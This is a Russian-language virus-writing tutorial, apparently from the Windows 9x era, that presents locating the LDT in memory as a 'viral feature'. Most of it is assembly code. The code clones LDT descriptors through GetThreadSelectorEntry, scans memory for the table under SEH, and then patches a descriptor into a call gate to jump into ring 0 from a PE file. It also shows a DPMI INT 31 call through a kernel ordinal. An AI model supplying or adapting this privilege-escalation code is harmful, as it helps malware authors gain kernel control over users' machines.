Поиск LDT в памяти

Итак, GreenMonsterом реализована очередная вирусная фича -- поиск LDT в памяти.

Здесь мы будем говорить о применении подобной техники к работе из PE файлов.

Из PE файлов желательно вызывать только win32 api-функции. Поэтому мы не будем делать никаких поисков по алиасу: ведь для того, чтобы обращаться к LDT через селектор (а не линейный 0-based flat-адрес), мы должны изменить права этого селектора. Таких winapi-функций нет. Конечно, можно вызвать INT 31 (DPMI-функции) таким образом:


int31:                  push    ecx
                        push    eax
                        push    0002A0029h      ; INT 31 (DPMI services)
                        call    kernel@ord0

Но это было бы слишком просто. Поэтому мы будем искать LDT в памяти.

Что искать? 8-байтовые дескрипторы для известных нам селекторов легко получаемы функцией GetThreadSelectorEntry. Вызывается оно так:


                        call    GetCurrentThread    ; получить хендл нити

                        push    offset cs_descr     ; поинтер на дескриптор
                        push    cs                  ; селектор
                        push    eax                 ; хендл нити
                        callW   GetThreadSelectorEntry
                        or      eax, eax
                        jz      __error

Параметры, проверяемые в этой функции: валидность нити и указателя на результат, а также граница LDT и бит 2 в селекторе. Это значит, что можно получить любой дескриптор из LDT, если подавать (селектор = номер * 8 + 4). Таким образом мы получаем некторое количество дескрипторов, посредством чего создаем у себя в памяти копию LDT. А далее, полагая, что LDT начинается на границе 4k-байтной страницы, используя SEH и сравнивая страницы памяти, перебираем все возможные адреса.

Выглядит это так:


; -- [FIND_LDT.INC] -------------------------------------------------------

LDT_MIN_ADDR            equ     080000000h
LDT_MAX_ADDR            equ     0FFFFF000h
LDT_SCANSIZE            equ     4096

                        .data

ldtpage                 db      LDT_SCANSIZE dup (?)

                        .code

; subroutine: find_ldt_prepare
; action:     fill internal variables
; output:     CF=0 all ok
;             CF=1 unknown error

find_ldt_prepare:       pusha

                        xor     esi, esi

__cycle:                lea     eax, ldtpage[esi]
                        push    eax
                        lea     eax, [esi+4]  ; bit2=LDT
                        push    eax
                        callW   GetCurrentThread
                        push    eax
                        callW   GetThreadSelectorEntry
                        or      eax, eax
                        jz      __error

                        add     esi, 8
                        cmp     esi, LDT_SCANSIZE
                        jb      __cycle

                        clc

__exit:                 popa
                        ret

__error:                stc
                        jmp     __exit

; subroutine: find_ldt_scanmemory
; input:      none
; output:     CF=0   EBX=LDT base
;             CF=1   not found

find_ldt_scanmemory:    mov     ebx, LDT_MIN_ADDR

__cycle:                call    find_ldt_testpage
                        jnc     __found

                        add     ebx, 4096
                        cmp     ebx, LDT_MAX_ADDR
                        jb      __cycle

                        stc
                        ret

__found:                clc
                        ret

; subroutine: find_ldt_testpage
; input:      EBX=any VA
; output:     CF=0  address contains LDT
;             CF=1  no ldt found or an error occured while accessing memory

find_ldt_testpage:      pusha

                        call    __seh_init
                        mov     esp, [esp+8]
__error:                stc
                        jmp     __seh_exit
__seh_init:             push    dword ptr fs:[0]
                        mov     fs:[0], esp

                        or      byte ptr [ebx], 0       ; must be writeable

                        lea     esi, ldtpage
                        mov     edi, ebx
                        mov     ecx, LDT_SCANSIZE/4
                        cld
                        rep     cmpsd
                        jne     __error

                        clc

__seh_exit:             pop     dword ptr fs:[0]
                        pop     eax

                        popa
                        ret

; -- [FIND_LDT.INC] -------------------------------------------------------

Далее, разумеется, идет переход в ring-0:


                        call    find_ldt_prepare
                        jc      __error
                        call    find_ldt_scanmemory
                        jc      __error

CGSEL                   equ     0*8

                        fild    qword ptr [ebx+CGSEL]

                        push    offset ring0
                        pop     [ebx].word ptr 0
                        pop     [ebx].word ptr 6
                        mov     [ebx+2], 0EC000028h

                        db      9Ah
                        dd      ?
                        dw      CGSEL+111b      ; 111b=LDT+Ring3

                        fistp   qword ptr [ebx+CGSEL]

                        ...

ring0:                  int 3
                        retf

см. также пример подключения find_ldt.inc.

(x)